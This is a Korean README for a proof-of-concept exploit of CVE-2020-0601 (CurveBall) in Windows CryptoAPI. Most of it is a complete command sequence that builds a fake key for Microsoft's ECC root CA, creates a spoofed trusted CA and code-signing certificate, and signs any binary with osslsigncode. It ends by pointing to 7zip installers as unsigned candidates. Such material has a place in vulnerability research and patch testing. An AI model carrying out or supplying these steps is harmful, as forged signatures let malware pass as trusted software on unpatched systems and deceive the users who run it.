
CVE-2020-0601에 대한 PoC - CryptoAPI 익스플로잇
CVE-2020-0601에 대한 PoC입니다. 자세한 블로그 게시물은 여기에서 확인할 수 있습니다. 이 익스플로잇은 CryptoAPI가 ECC 기반 인증서에서 특정 매개변수를 처리하는 방식을 남용하여 가짜 신뢰할 수 있는 인증서를 생성할 수 있게 합니다.
리포지토리를 클론하고 Visual Studio 2019에서 엽니다. Release로 전환하고 컴파일합니다. 미리 빌드된 바이너리는 여기에서 찾을 수 있습니다.
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
7zip 설치 프로그램은 일반적으로 서명되지 않습니다!
